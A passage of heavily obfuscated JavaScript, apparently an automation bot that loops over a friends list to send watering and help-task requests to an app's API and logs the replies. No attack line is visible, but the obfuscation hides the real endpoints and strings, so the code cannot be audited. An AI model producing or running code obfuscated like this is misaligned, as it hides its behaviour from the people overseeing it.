_0x3bbaef(_0x2b98aa,_0x2d46f9);},'\x46\x6f\x48\x74\x47':_0x16a233(0x9ce,0xa4d,0x742,'\x44\x5d\x71\x6c',0x3dc)+_0x10ed81(0x8d3,0xc40,0xa40,0x9a3,'\x30\x29\x35\x70')+_0x26233b(0x11c0,0xe54,'\x51\x50\x65\x2a',0xa76,0xccb)+_0x16a233(0x410,0x71c,-0x1e4,'\x64\x6f\x4e\x70',0x4c4)+_0x10ed81(0x1392,0xd5e,0x1125,0x13e5,'\x41\x6e\x41\x53')+_0x3d673f(0x10cf,'\x44\x5d\x71\x6c',0xd58,0x1253,0x10de)+_0x10ed81(0x16e9,0x1372,0x1054,0xa2d,'\x41\x40\x62\x74')+_0x3d673f(0xfee,'\x5d\x5b\x48\x44',0x110a,0xba0,0xc0d)+_0x5db5eb(0x2e5,'\x21\x33\x39\x77',0x2c5,0xcc9,0x866)+_0x26233b(0xa01,0x868,'\x5d\x79\x74\x33',0x696,0x6b2)+_0x5db5eb(0xeff,'\x79\x45\x73\x4a',0xa7e,0x774,0x95a)+_0x16a233(-0x23a,0x8b6,0x7f6,'\x24\x66\x56\x5d',0x219)+_0x26233b(0x9ed,0xaa8,'\x45\x74\x4e\x68',0x11e0,0xf3f)+_0x16a233(0x12e6,0xcf6,0x943,'\x5d\x6e\x6c\x64',0xcc2),'\x48\x43\x62\x6e\x75':function(_0x370ba7,_0xcb6738){return _0x370ba7+_0xcb6738;},'\x62\x62\x63\x6d\x49':function(_0xe6ea5d,_0xb2a8d7){return _0xe6ea5d+_0xb2a8d7;},'\x44\x74\x68\x72\x52':_0x16a233(0x1284,0x897,0xfe6,'\x21\x33\x39\x77',0xe3c)+_0x10ed81(0xd41,0x75c,0x97f,0x538,'\x6c\x54\x48\x57')+_0x10ed81(0x1269,0x1793,0x111f,0x103c,'\x51\x50\x65\x2a')+'\x3a\x22','\x66\x57\x45\x66\x74':_0x16a233(0x56d,-0xb7,0xb89,'\x41\x40\x62\x74',0x5a1)+_0x3d673f(0x569,'\x31\x71\x6b\x4a',0x307,0x210,0x340)+_0x5db5eb(0x121b,'\x24\x66\x56\x5d',0x7e3,0xf92,0xea5)+_0x10ed81(0x970,0xde5,0xa84,0x864,'\x23\x4b\x6e\x33'),'\x77\x45\x69\x73\x4f':function(_0x4a5d9b){return _0x4a5d9b();},'\x6d\x61\x70\x75\x7a':function(_0x2189be,_0x1da434){return _0x2189be+_0x1da434;},'\x72\x68\x5a\x41\x74':function(_0x30bc30){return _0x30bc30();},'\x46\x54\x47\x68\x4d':_0x5db5eb(0xb2a,'\x67\x4d\x30\x75',0x762,0x3c3,0x4cd)+_0x16a233(-0xcd,-0xca,-0x170,'\x4c\x28\x57\x30',0x233)+_0x26233b(0x38f,0x2ca,'\x61\x4c\x56\x47',0x1076,0x99c)+'\u518d\u8bd5'};function _0x5db5eb(_0x2b8b1e,_0x4445ae,_0x2c8cf9,_0x31d9c3,_0x338d4f){return _0x38128f(_0x2b8b1e-0x5d,_0x4445ae-0x186,_0x2c8cf9-0x1e1,_0x4445ae,_0x338d4f-0x516);}return new Promise(async _0x5a5e7c=>{function _0x1277fc(_0x29c91b,_0x59a7db,_0x22bb29,_0x3d07f6,_0x53c88b){return _0x5db5eb(_0x29c91b-0x67,_0x3d07f6,_0x22bb29-0xf8,_0x3d07f6-0x13d,_0x22bb29- -0x17e);}function _0xae3552(_0x3290b6,_0x2e090a,_0x5dab64,_0x347ee7,_0x3e2fd3){return _0x26233b(_0x3290b6-0x1e8,_0x2e090a-0x11a,_0x2e090a,_0x347ee7-0x95,_0x5dab64- -0x4df);}function _0x18f89e(_0x49b3d0,_0x4b1c29,_0x50d2a9,_0x13a68f,_0x543593){return _0x10ed81(_0x49b3d0-0xa1,_0x4b1c29-0x1b0,_0x50d2a9- -0x29a,_0x13a68f-0xed,_0x13a68f);}function _0x3257b8(_0xb47430,_0xf9e1c8,_0x31b6bd,_0xcf20aa,_0x4c63fe){return _0x3d673f(_0x4c63fe-0x35,_0xb47430,_0x31b6bd-0x1da,_0xcf20aa-0xb4,_0x4c63fe-0x13d);}function _0x8ff159(_0x25fa98,_0x4f9398,_0xd817d8,_0x45ff05,_0x254103){return _0x16a233(_0x25fa98-0x140,_0x4f9398-0x1bc,_0xd817d8-0x102,_0x25fa98,_0xd817d8- -0x2ac);}try{for(let _0xa25012=-0x2625+-0x12*-0x1f+-0x3*-0xbfd;_0x5f5104[_0x8ff159('\x23\x4b\x6e\x33',-0x2a4,0x284,0x42a,-0xb9)](_0xa25012,myFriendsList[_0x1277fc(0xbe1,0x755,0xa25,'\x5d\x79\x74\x33',0xc9d)+'\x68']);_0xa25012++){if(_0x5f5104[_0x8ff159('\x55\x4e\x28\x56',-0x32b,0x202,0x40c,0x798)](myFriendsList[_0xa25012][_0xae3552(0xfc5,'\x6c\x54\x48\x57',0x9f7,0x10dd,0x942)+_0x8ff159('\x21\x6e\x65\x4c',0x5f7,0x47,0x45,0x255)+_0x3257b8('\x64\x6f\x4e\x70',0x1056,0x116c,0xd6a,0xdd3)],_0x5f5104[_0x3257b8('\x50\x5d\x49\x57',0x922,0x11d9,0x52f,0xb99)])){let _0x355ef1=_0x5f5104[_0xae3552(0x1132,'\x46\x42\x49\x42',0xacd,0x3f9,0x6d9)](urlTask,_0x5f5104[_0x1277fc(0x5b6,0xb69,0xc8d,'\x6c\x54\x48\x57',0xf9e)],_0x5f5104[_0x3257b8('\x6e\x76\x6d\x2a',0xd60,0x1258,0xa22,0xcec)](_0x5f5104[_0x18f89e(0x3fc,0x2b4,0x65b,'\x31\x71\x6b\x4a',-0x26)](_0x5f5104[_0x3257b8('\x34\x4a\x59\x74',0xaa1,0x166c,0xe9a,0x100c)],myFriendsList[_0xa25012][_0xae3552(0xf8c,'\x56\x6b\x71\x37',0xd66,0xf90,0x8e0)+_0x3257b8('\x54\x56\x24\x21',0x933,0x1035,0xa7a,0xd1d)+'\x49\x64']),_0x5f5104[_0x1277fc(0x245,0x39b,0x5db,'\x44\x5d\x71\x6c',0x532)]));await $[_0x18f89e(0xc76,0x87d,0xa9a,'\x45\x64\x30\x4a',0xed4)][_0x18f89e(0x18f,0xa4e,0x83b,'\x4d\x58\x52\x4d',0x419)](_0x355ef1)[_0x8ff159('\x76\x74\x36\x39',0xa18,0x4be,-0x1f9,0x942)](async _0x4f69a1=>{function _0x20fad7(_0x382d02,_0x3370cf,_0xc8aca9,_0x978f95,_0x14e2da){return _0x18f89e(_0x382d02-0x1bf,_0x3370cf-0x1e2,_0xc8aca9- -0x1db,_0x382d02,_0x14e2da-0xd4);}function _0x27b40e(_0x375520,_0x489e33,_0x47e649,_0xe8f0cb,_0x240842){return _0x3257b8(_0xe8f0cb,_0x489e33-0x14,_0x47e649-0x199,_0xe8f0cb-0x1ae,_0x489e33- -0xd4);}let _0x1677d4=JSON[_0x27b40e(0x833,0x7f0,0x80c,'\x5d\x79\x74\x33',0xce8)](_0x4f69a1[_0x27b40e(0x95d,0xfab,0x97f,'\x5d\x79\x74\x33',0x11e8)]);function _0x56aed0(_0x30de59,_0x4bfd30,_0x34ea66,_0x19d26e,_0x309334){return _0x18f89e(_0x30de59-0x2d,_0x4bfd30-0x1ea,_0x30de59-0x36b,_0x19d26e,_0x309334-0xd7);}function _0x2455c5(_0x1684f1,_0x467341,_0x414535,_0x29ad34,_0x2f57aa){return _0xae3552(_0x1684f1-0x21,_0x1684f1,_0x29ad34-0x1dc,_0x29ad34-0x13,_0x2f57aa-0x150);}function _0x33365e(_0x336d8e,_0x5bfe53,_0x4f467e,_0x484e06,_0x5c8d0c){return _0x18f89e(_0x336d8e-0x43,_0x5bfe53-0x1b,_0x4f467e- -0x2ef,_0x5c8d0c,_0x5c8d0c-0x1b9);}if(_0x5f5104[_0x27b40e(0x132b,0xe4e,0xb82,'\x4c\x28\x57\x30',0x9aa)](_0x1677d4[_0x27b40e(0x3ee,0x6f2,0x38d,'\x41\x6e\x41\x53',0x7e)+'\x74'],0x1*-0x371+-0x1*-0x18d7+0x1565*-0x1))console[_0x33365e(0x374,-0x51d,0x17f,0x5f2,'\x21\x33\x39\x77')](_0x5f5104[_0x27b40e(0x5c9,0x9cd,0x80c,'\x6e\x46\x49\x33',0x524)](_0x5f5104[_0x33365e(0x124,0x3fd,0x3f8,-0x1fc,'\x7a\x78\x28\x4e')](_0x5f5104[_0x56aed0(0xe5d,0x1326,0x98b,'\x21\x33\x39\x77',0xf00)](_0x5f5104[_0x27b40e(0x66e,0x648,0x36c,'\x6e\x76\x6d\x2a',0x57b)](_0x5f5104[_0x56aed0(0xd60,0x112b,0xacb,'\x76\x74\x36\x39',0x11c7)],myFriendsList[_0xa25012][_0x33365e(0x47d,0x608,0x309,0x40b,'\x46\x42\x49\x42')+_0x27b40e(0x912,0xc21,0xe9f,'\x41\x6e\x41\x53',0x102f)]),'\x29'),_0x1677d4[_0x20fad7('\x61\x4c\x56\x47',0xc36,0xaf6,0x11c0,0xa90)][_0x56aed0(0xd16,0x7b0,0xc28,'\x76\x74\x36\x39',0x1372)+_0x56aed0(0xd7a,0xc15,0x93c,'\x64\x6f\x4e\x70',0xe10)+'\x74']),_0x5f5104[_0x2455c5('\x56\x6b\x71\x37',0xce1,0x127c,0xd4b,0xdab)]));else console[_0x56aed0(0x5bc,0x3d,0xc9e,'\x6b\x72\x35\x76',0x981)](_0x5f5104[_0x27b40e(0xca6,0xaa5,0x1092,'\x45\x74\x4e\x68',0x117f)](_0x5f5104[_0x33365e(0x7aa,0xf69,0xa64,0x56c,'\x41\x40\x62\x74')],_0x1677d4[_0x2455c5('\x4a\x55\x45\x71',0x76d,0x5a9,0x966,0xb3a)+_0x2455c5('\x6b\x72\x35\x76',0xadd,0x722,0x934,0x75c)]));}),await $[_0x1277fc(0x270,0xe17,0x85e,'\x6e\x46\x49\x33',0x424)](0x2da*0xb+0x241e+0x3bac*-0x1);}}_0x5f5104[_0xae3552(0x61a,'\x55\x4e\x28\x56',0x211,-0x4bd,-0x4ab)](_0x5a5e7c);}catch(_0x2886c4){console[_0x3257b8('\x45\x64\x30\x4a',0x59b,0xe08,0xcb7,0x8c6)](_0x5f5104[_0xae3552(0xb32,'\x5b\x35\x69\x4f',0x790,0xc16,0x6af)](_0x5f5104[_0x1277fc(0x6bb,0x581,0x374,'\x45\x74\x4e\x68',0x61a)],_0x2886c4)),_0x5f5104[_0x18f89e(-0x19e,0xe7,0x3c5,'\x56\x55\x65\x45',0x2db)](_0x5a5e7c);}});function _0x3d673f(_0xb20e7f,_0x110496,_0x3123bd,_0x174205,_0x56272d){return _0x14621e(_0xb20e7f-0x395,_0x110496,_0x3123bd-0x167,_0x174205-0x70,_0x56272d-0x1da);}function _0x16a233(_0x4923bb,_0x5d213c,_0x125281,_0x36c16c,_0x45e6e1){return _0x14621e(_0x45e6e1-0x149,_0x36c16c,_0x125281-0x33,_0x36c16c-0x1df,_0x45e6e1-0x112);}function _0x26233b(_0x2e3daa,_0x3a724f,_0x41a544,_0x16410d,_0x112f6f){return _0x14621e(_0x112f6f-0x492,_0x41a544,_0x41a544-0xb,_0x16410d-0x1da,_0x112f6f-0x30);}function _0x10ed81(_0x5ddc6f,_0x2cfb45,_0x4843a7,_0x4ecc83,_0x5c48da){return _0x38128f(_0x5ddc6f-0x5f,_0x2cfb45-0x1ec,_0x4843a7-0xe3,_0x5c48da,_0x4843a7-0x6d6);}console[_0x26233b(0x128e,0xc91,'\x6e\x76\x6d\x2a',0x1299,0x1219)](_0x5f5104[_0x10ed81(0x16ce,0x178d,0x10b7,0x10be,'\x41\x6e\x41\x53')]);}function _0x38128f(_0x1236fb,_0x5580d7,_0x2a09fe,_0x5d5c22,_0x36658e){return _0x4a4e(_0x36658e- -0x3e8,_0x5d5c22);}async function helpWatering(){const _0x23aa62={'\x55\x53\x45\x42\x70':function(_0x48e6c8,_0x35945c){return _0x48e6c8==_0x35945c;},'\x41\x46\x71\x53\x6a':function(_0x3a9dd2,_0x444ecc){return _0x3a9dd2+_0x444ecc;},'\x61\x61\x59\x58\x64':function(_0x486380,_0x15ba64){return _0x486380+_0x15ba64;},'\x53\x78\x54\x65\x51':_0x1ce4de(0x101e,0x117e,0x1086,0xcfa,'\x4f\x6f\x72\x35')+_0xd3b780('\x41\x6e\x41\x53',0x72c,0x2f8,0xb95,0x6ae)+_0x28a4b1(0xb48,'\x4a\x55\x45\x71',0xdda,0x10db,0x559),'\x75\x46\x6d\x49\x6e':_0x3639b2(0x92b,0xc96,0x870,0xa0e,'\x4c\x34\x59\x31')+'\x21','\x6d\x6a\x57\x4c\x49':function(_0x415646,_0x2d0219){return _0x415646+_0x2d0219;},'\x46\x66\x6f\x73\x4b':_0x28a4b1(0x6e2,'\x7a\x78\x28\x4e',0x78c,0x75b,0xba8)+_0x1ce4de(0x992,0x864,0xb8e,0xd07,'\x64\x6f\x4e\x70'),'\x77\x68\x68\x44\x47':function(_0x1f9f9e,_0x1c5458){return _0x1f9f9e<_0x1c5458;},'\x44\x6f\x6f\x6d\x48':function(_0xd3b273,_0x1b35d4){return _0xd3b273<_0x1b35d4;},'\x41\x48\x59\x52\x41':function(_0x4f10bc,_0x310d1c,_0x2aa06a){return _0x4f10bc(_0x310d1c,_0x2aa06a);},'\x70\x76\x55\x7a\x77':_0x1ce4de(0xad1,0x9f8,0xc61,0xaf9,'\x4a\x55\x45\x71')+_0xd3b780('\x5d\x6e\x6c\x64',0xa41,0x8f0,0x9f7,0xa31)+_0x44bdfd(0xa72,0x1022,'\x70\x4b\x21\x31',0xab7,0x117d)+_0xd3b780('\x76\x74\x36\x39',-0x2b8,0x655,0x87a,0x221)+_0x1ce4de(0xc63,0x119f,0x115a,0xa0d,'\x6e\x46\x49\x33')+_0x28a4b1(0xdfe,'\x41\x6e\x41\x53',0x1263,0x1104,0x9fb)+_0xd3b780('\x4a\x55\x45\x71',0x11bd,0x789,0xa8f,0xc4a)+_0x3639b2(0xffc,0x9dd,0x9df,0xac6,'\x70\x4b\x21\x31')+_0x28a4b1(0x7f3,'\x55\x4e\x28\x56',0xbb6,0x462,0x85f)+_0xd3b780('\x45\x74\x4e\x68',0x6a7,0xa8f,0x6bb,0xb1d)+_0x3639b2(0x1067,0x7dc,0x7a8,0xb2e,'\x41\x6e\x41\x53')+_0xd3b780('\x49\x29\x49\x39',0x5f9,0x7aa,0x10db,0xa35)+_0xd3b780('\x21\x33\x39\x77',0x6fb,0x111a,0x117a,0xc04)+_0x28a4b1(0x5ee,'\x76\x74\x36\x39',0x79b,0x329,0x9cb)+'\x6e\x67','\x76\x6f\x74\x58\x50':function(_0x4329af,_0x3593c1){return _0x4329af+_0x3593c1;},'\x55\x49\x50\x70\x5a':_0x44bdfd(-0x6cd,-0x467,'\x46\x42\x49\x42',-0x20a,-0x477)+_0x28a4b1(0x1109,'\x67\x4d\x30\x75',0xb5b,0x1779,0x10ac)+_0xd3b780('\x4e\x74\x35\x73',0x23f,0x4da,0xbe0,0x7cb)+'\x3a\x22','\x62\x69\x4c\x66\x6a':_0xd3b780('\x43\x75\x73\x46',0xe2f,0x1334,0xda4,0xe16)+_0xd3b780('\x5d\x79\x74\x33',0x10d8,0x99c,0xe2f,0xf43)+_0xd3b780('\x4c\x28\x57\x30',0x5e6,0xc8,0x5a7,0x2a8)+_0xd3b780('\x79\x45\x73\x4a',0x6e2,0x815,0x93f,0x8ba),'\x7a\x52\x4a\x68\x49':function(_0x4e1a91){return _0x4e1a91();},'\x54\x45\x72\x64\x74':function(_0x24a638){return _0x24a638();}};function _0xd3b780(_0x3533a5,_0x524eef,_0x3ca210,_0x122e8d,_0xb96156){return _0x38128f(_0x3533a5-0x103,_0x524eef-0x1b4,_0x3ca210-0xda,_0x3533a5,_0xb96156-0x44b);}function _0x3639b2(_0x418d82,_0x3d493f,_0x45c6d3,_0xa83929,_0x3113ac){return _0x38128f(_0x418d82-0x4,_0x3d493f-0x3e,_0x45c6d3-0xaa,_0x3113ac,_0xa83929-0x458);}function _0x1ce4de(_0x5c7271,_0x23b56a,_0x2b122d,_0xefeeb1,_0x195038){return _0x14621e(_0x5c7271-0x444,_0x195038,_0x2b122d-0x124,_0xefeeb1-0x181,_0x195038-0x27);}function _0x28a4b1(_0x35e576,_0x58e305,_0xf6e7b3,_0x4e97eb,_0x2cbb4e){return _0x38128f(_0x35e576-0x1aa,_0x58e305-0x29,_0xf6e7b3-0x12e,_0x58e305,_0x35e576-0x67d);}function _0x44bdfd(_0x46e06b,_0x242f04,_0x57d7ce,_0xaf6802,_0x28b2c6){return _0x14621e(_0xaf6802- -0x208,_0x57d7ce,_0x57d7ce-0x11d,_0xaf6802-0x105,_0x28b2c6-0x1d);}return new Promise(async _0x21ff11=>{function _0xdf04b9(_0x4ae274,_0x59cb92,_0xf0c1f7,_0x384891,_0x52c6af){return _0x44bdfd(_0x4ae274-0xe7,_0x59cb92-0xec,_0x384891,_0x59cb92-0x1af,_0x52c6af-0x1c5);}function _0x4961e7(_0xc90acd,_0x43b08b,_0x5d397d,_0x15522e,_0xadf9de){return _0x1ce4de(_0xadf9de- -0x580,_0x43b08b-0x5f,_0x5d397d-0x1e1,_0x15522e-0x104,_0x5d397d);}function _0x5c8a54(_0x369e8d,_0xd24f69,_0x512cc5,_0x4db068,_0x2e0e34){return _0x3639b2(_0x369e8d-0x1eb,_0xd24f69-0x153,_0x512cc5-0xa8,_0x2e0e34-0x11a,_0x4db068);}function _0x4a4a5b(_0x4ec49c,_0x4c66fd,_0x54dba6,_0x402470,_0x46ab05){return _0x3639b2(_0x4ec49c-0x141,_0x4c66fd-0x1a7,_0x54dba6-0xd1,_0x46ab05-0xb7,_0x4c66fd);}function _0x51e82d(_0x278e71,_0x47eee4,_0x3e31c8,_0x144ecc,_0x585cd0){return _0x28a4b1(_0x585cd0- -0x2d3,_0x144ecc,_0x3e31c8-0x74,_0x144ecc-0x14c,_0x585cd0-0x159);}try{let _0x365efa=_0x23aa62[_0x4a4a5b(0x17b,'\x64\x6f\x4e\x70',0x6ec,0x1ed,0x40c)](myFriendsList[_0x5c8a54(0xf82,0xd56,0xacd,'\x6f\x65\x59\x78',0xc15)+'\x68'],-0x1*-0x2273+-0x17ac+-0xac2)?myFriendsList[_0xdf04b9(0x11a3,0xbab,0x939,'\x4a\x55\x45\x71',0x78a)+'\x68']:-0x26c1+-0x3e9+0x2aaf;for(let _0x25174c=0x12c8*-0x1+-0xb7*0x3+-0xb*-0x1e7;_0x23aa62[_0x51e82d(0x946,0x3cf,0x9cb,'\x21\x6e\x65\x4c',0x677)](_0x25174c,_0x365efa);_0x25174c++){let _0x1bd653=_0x23aa62[_0x4961e7(0xd,0x527,'\x49\x29\x49\x39',0x34a,0x256)](urlTask,_0x23aa62[_0x4961e7(0x5c0,0x94a,'\x34\x4a\x59\x74',0xee3,0x890)],_0x23aa62[_0x51e82d(0x480,-0x170,-0x1ea,'\x4a\x55\x45\x71',0x168)](_0x23aa62[_0x4961e7(0xcac,0x75b,'\x51\x50\x65\x2a',-0x6f,0x671)](_0x23aa62[_0x51e82d(0xb25,0x95d,0x5e0,'\x55\x4e\x28\x56',0x788)],myFriendsList[_0x25174c][_0x4a4a5b(0x1074,'\x61\x4c\x56\x47',0x1187,0x1462,0xfbc)+_0xdf04b9(0x7ce,0x936,0x59b,'\x7a\x78\x28\x4e',0xd5b)+'\x49\x64']),_0x23aa62[_0x51e82d(0xb28,0x7a7,0x1000,'\x21\x2a\x37\x57',0xb10)]));await $[_0x5c8a54(0x131e,0xa0a,0x727,'\x6e\x46\x49\x33',0xd21)][_0x51e82d(0x826,0x7f9,0xdc2,'\x64\x6f\x4e\x70',0xded)](_0x1bd653)[_0x4961e7(-0x206,0xe7,'\x4c\x28\x57\x30',-0x8f,0x103)](async _0x441beb=>{function _0x21ccff(_0x26285b,_0x207b1d,_0x3978f2,_0x258e9a,_0x33b860){return _0xdf04b9(_0x26285b-0x1cc,_0x33b860- -0x27,_0x3978f2-0xd9,_0x26285b,_0x33b860-0xed);}let _0x46de8a=JSON[_0x1fe32a(0xbf1,'\x24\x66\x56\x5d',0x1263,0xc79,0x10ac)](_0x441beb[_0x2970cc(0x5c9,0xb76,0xaba,0x925,'\x4c\x28\x57\x30')]);function _0x1fe32a(_0x2c8f73,_0x183978,_0x54b8ce,_0xbb4d01,_0x97f48a){return _0x4961e7(_0x2c8f73-0x10e,_0x183978-0xd2,_0x183978,_0xbb4d01-0xff,_0xbb4d01-0x34f);}if(_0x23aa62[_0x2970cc(0x964,0x897,0x472,0xd05,'\x58\x23\x51\x29')](_0x46de8a[_0x1b9f8d(0x491,'\x24\x66\x56\x5d',0x86e,0x9ab,0xd15)+'\x74'],-0x89+0x207c+-0x1ff2))console[_0x2970cc(0x126,0x5b8,0x2e8,0x175,'\x24\x66\x56\x5d')](_0x23aa62[_0x17da9b('\x41\x6e\x41\x53',0xb30,0x7b5,0x8a2,0x501)](_0x23aa62[_0x21ccff('\x76\x74\x36\x39',0x22d,0x78a,-0x2d0,0x1ec)](_0x23aa62[_0x1fe32a(0xffb,'\x24\x4b\x72\x6d',0x1161,0xf74,0x131e)],myFriendsList[_0x25174c][_0x1fe32a(0x593,'\x31\x71\x6b\x4a',0x5db,0x467,0x628)+_0x17da9b('\x21\x2a\x37\x57',0xc3e,0x1a1,0x36c,0x619)]),_0x23aa62[_0x1b9f8d(0x7d7,'\x4e\x74\x35\x73',0xf07,0x9df,0x98d)]));else console[_0x17da9b('\x49\x29\x49\x39',-0x13d,0x28c,0x8da,0x379)](_0x23aa62[_0x1fe32a(0xf88,'\x49\x29\x49\x39',0xfdb,0xa2b,0x3b6)](_0x23aa62[_0x21ccff('\x49\x29\x49\x39',-0x256,-0x5a8,0x16f,0x107)],_0x46de8a[_0x1b9f8d(0x7f5,'\x41\x6e\x41\x53',0xd32,0x87e,0xf62)+_0x21ccff('\x5d\x79\x74\x33',0x7a7,-0x5f3,-0x17f,0xd3)]));function _0x1b9f8d(_0x1b7c76,_0x1fe667,_0x3d053b,_0x1584b3,_0x4c0611){return _0x4961e7(_0x1b7c76-0x31,_0x1fe667-0xd6,_0x1fe667,_0x1584b3-0x25,_0x1584b3-0x23c);}function _0x17da9b(_0x3a687e,_0x455e82,_0xa0cf6a,_0x3c6197,_0x8b3ace){return _0x51e82d(_0x3a687e-0x1ac,_0x455e82-0xaf,_0xa0cf6a-0x154,_0x3a687e,_0x8b3ace- -0x25a);}function _0x2970cc(_0xf4ea21,_0x1c7ff6,_0x1db302,_0x52a3b6,_0x1ee113){return _0x4961e7(_0xf4ea21-0x1c4,_0x1c7ff6-0x12d,_0x1ee113,_0x52a3b6-0x14b,_0x1c7ff6-0x231);}await $[_0x17da9b('\x30\x29\x35\x70',0x3ac,-0x7f,-0x4e,-0x9c)](-0x1e2*0x1+0xbdb*0x1+0x611*-0x1);});};_0x23aa62[_0x5c8a54(0x9c9,0x7a8,0x380,'\x79\x45\x73\x4a',0x65a)](_0x21ff11);}catch(_0x4a0eae){console[_0x5c8a54(0xe40,0xc11,0xbd4,'\x55\x4e\x28\x56',0xb31)](_0x23aa62[_0x5c8a54(0x8f5,0xad4,0x2ed,'\x50\x5d\x49\x57',0x681)](_0x23aa62[_0x51e82d(0xa9b,0x96b,0xb18,'\x21\x2a\x37\x57',0x8bf)],_0x4a0eae)),_0x23aa62[_0x4961e7(0x1267,0x943,'\x4a\x55\x45\x71',0xcff,0xc17)](_0x21ff11);}});}async function watering(){const _0x340cca={'\x51\x57\x66\x57\x43':function(_0x9f9140,_0x5e1ebc){return _0x9f9140==_0x5e1ebc;},'\x53\x79\x44\x44\x71':_0x4767f3(0x5b8,'\x6b\x72\x35\x76',0x88a,0x961,0x9ce)+_0x4767f3(0x42e,'\x31\x71\x6b\x4a',0x3dc,0x537,0xda),'\x71\x45\x76\x75\x41':function(_0x1fcfb8){return _0x1fcfb8();},'\x78\x55\x77\x64\x4e':function(_0x162bec,_0x51bb5a){return _0x162bec+_0x51bb5a;},'\x61\x6c\x6d\x69\x6e':_0x182d3a('\x54\x56\x24\x21',0x2d1,0x518,0x87c,0x6df)+'\x3a\u7b2c','\x50\x52\x58\x64\x43':_0xf36097(-0x42d,'\x21\x33\x39\x77',0xd5,-0x4a3,-0x4fa)+_0x1f10ba(0x106,-0x495,-0x452,-0x43d,'\x58\x23\x51\x29'),'\x4d\x74\x66\x47\x71':_0x182d3a('\x70\x4b\x21\x31',0x636,0x56b,0x7bc,0x608),'\x7a\x55\x52\x69\x45':_0x182d3a('\x67\x4d\x30\x75',0xe26,0xcb7,0xa2f,0xf28)+_0x4767f3(0x2d3,'\x6f\x65\x59\x78',0x831,0x685,0x5a4)+_0xf36097(0xd2,'\x45\x64\x30\x4a',0x120,0x622,-0x4b),'\x5a\x77\x47\x52\x6c':function(_0x3148d,_0x26182a){return _0x3148d<=_0x26182a;},'\x4b\x61\x4e\x74\x55':function(_0x18de0e,_0x3e8973){return _0x18de0e+_0x3e8973;},'\x70\x6e\x6d\x53\x63':_0xf36097(0xc6a,'\x54\x56\x24\x21',0xaa6,0xbb3,0xc12),'\x6d\x63\x68\x4e\x4c':_0x51f389(0xa63,0x526,'\x34\x4a\x59\x74',0xc9c,0x77b),'\x4a\x47\x73\x51\x48':function(_0x2af1e8){return _0x2af1e8();},'\x4c\x58\x78\x67\x62':function(_0x2b8f54,_0xdd8b){return _0x2b8f54+_0xdd8b;},'\x66\x57\x41\x4c\x76':_0xf36097(-0x8f,'\x43\x75\x73\x46',0x2f0,0x402,-0x3b6)+'\x3a','\x6d\x42\x6e\x66\x78':function(_0x5452a5,_0x47d06f,_0x1024e6){return _0x5452a5(_0x47d06f,_0x1024e6);},'\x76\x47\x57\x58\x61':_0xf36097(0x47d,'\x50\x5d\x49\x57',0xa62,0x815,0xf81)+_0x51f389(0x6d2,0x77f,'\x6b\x72\x35\x76',0x7dc,0x328)+_0x182d3a('\x6e\x53\x58\x24',0x5c1,0x778,0xc49,0x55c)+_0xf36097(0x5cd,'\x4d\x58\x52\x4d',0x1a0,0x36e,-0x326)+_0x51f389(-0x138,-0x136,'\x45\x74\x4e\x68',-0x5d2,0x70)+_0x4767f3(0xe7c,'\x5b\x35\x69\x4f',0x129c,0x1269,0x1499)+_0x182d3a('\x51\x50\x65\x2a',0x866,0x224,0x5f,0x40f)+_0x51f389(-0x488,0x574,'\x34\x4a\x59\x74',0x7ea,0x130)+_0x51f389(0x9ed,0x701,'\x4d\x58\x52\x4d',0xbca,0xbf1)+_0x182d3a('\x58\x23\x51\x29',0x8b9,0xb75,0x991,0x721)+_0x4767f3(0x890,'\x5d\x5b\x48\x44',0x126a,0xba5,0x91b)+_0x4767f3(0x118c,'\x4e\x74\x35\x73',0x818,0xd34,0x675)+_0x4767f3(0x868,'\x24\x4b\x72\x6d',0x41b,0x9c1,0xd4a)+_0x1f10ba(0xb78,0xdfb,0x716,0x6ec,'\x56\x55\x65\x45'),'\x4b\x4e\x78\x55\x7a':_0x1f10ba(0x73f,0x512,0x69,0x66a,'\x54\x56\x24\x21')+_0x4767f3(0xb81,'\x21\x33\x39\x77',0x1365,0x1232,0x1088)+_0x1f10ba(0xa8a,0xf11,0x3f8,0xee1,'\x6e\x46\x49\x33')+_0x4767f3(0xe65,'\x67\x4d\x30\x75',0x1379,0x1224,0xc94),'\x6c\x48\x55\x4a\x6b':function(_0x30b4b7,_0x251493){return _0x30b4b7+_0x251493;}};function _0x1f10ba(_0x34a742,_0x14a056,_0x33aa05,_0x8b430b,_0x1b9898){return _0x38128f(_0x34a742-0x18a,_0x14a056-0x59,_0x33aa05-0x11a,_0x1b9898,_0x34a742-0x5b);}function _0x182d3a(_0x391a70,_0x4609be,_0xdb13e4,_0x33febd,_0xcb429){return _0x14621e(_0xdb13e4-0x180,_0x391a70,_0xdb13e4-0x1d7,_0x33febd-0xd8,_0xcb429-0xc9);}function _0x51f389(_0x29e078,_0x1e75f6,_0x3ae83a,_0x2d2453,_0x52a045){return _0x14621e(_0x52a045-0x22,_0x3ae83a,_0x3ae83a-0x10,_0x2d2453-0x64,_0x52a045-0x102);}function _0x4767f3(_0x3ae945,_0x2ff8b9,_0x608032,_0x127b04,_0x51a4c3){return _0x38128f(_0x3ae945-0x1ab,_0x2ff8b9-0x107,_0x608032-0x13e,_0x2ff8b9,_0x127b04-0x7a9);}function _0xf36097(_0x59e899,_0x404a39,_0x1d260c,_0x183334,_0x188535){return _0x14621e(_0x1d260c- -0x1ad,_0x404a39,_0x1d260c-0x72,_0x183334-0x54,_0x188535-0x10d);}try{let _0xfc22f5=-0x1515+-0x2140+0x3655,_0x5ec788=_0x340cca[_0x182d3a('\x4e\x74\x35\x73',0x9bf,0xc3d,0x72c,0x97a)](urlTask,_0x340cca[_0xf36097(0x1c8,'\x6e\x76\x6d\x2a',0x6b1,0xd9,0xd7a)],_0x340cca[_0x51f389(0x19e,-0x7b,'\x5d\x6e\x6c\x64',0x4dc,0x483)]);await $[_0x4767f3(0xeec,'\x54\x56\x24\x21',0x1043,0xf95,0x8d1)][_0xf36097(0x371,'\x43\x75\x73\x46',0x57b,0x5cd,0xb32)](_0x5ec788)[_0x1f10ba(0xac6,0x611,0x5df,0x637,'\x41\x40\x62\x74')](async _0x4e1703=>{function _0x139e97(_0x4f75bc,_0x33be45,_0x5b6e66,_0x488d77,_0x10be59){return _0x1f10ba(_0x5b6e66-0x68,_0x33be45-0x1f4,_0x5b6e66-0x10,_0x488d77-0x119,_0x488d77);}let _0x40a463=JSON[_0x139e97(0x5da,0x8c3,0x557,'\x73\x28\x4d\x75',-0x179)](_0x4e1703[_0x139e97(0x288,0x519,0x217,'\x56\x6b\x71\x37',0x3fd)]);function 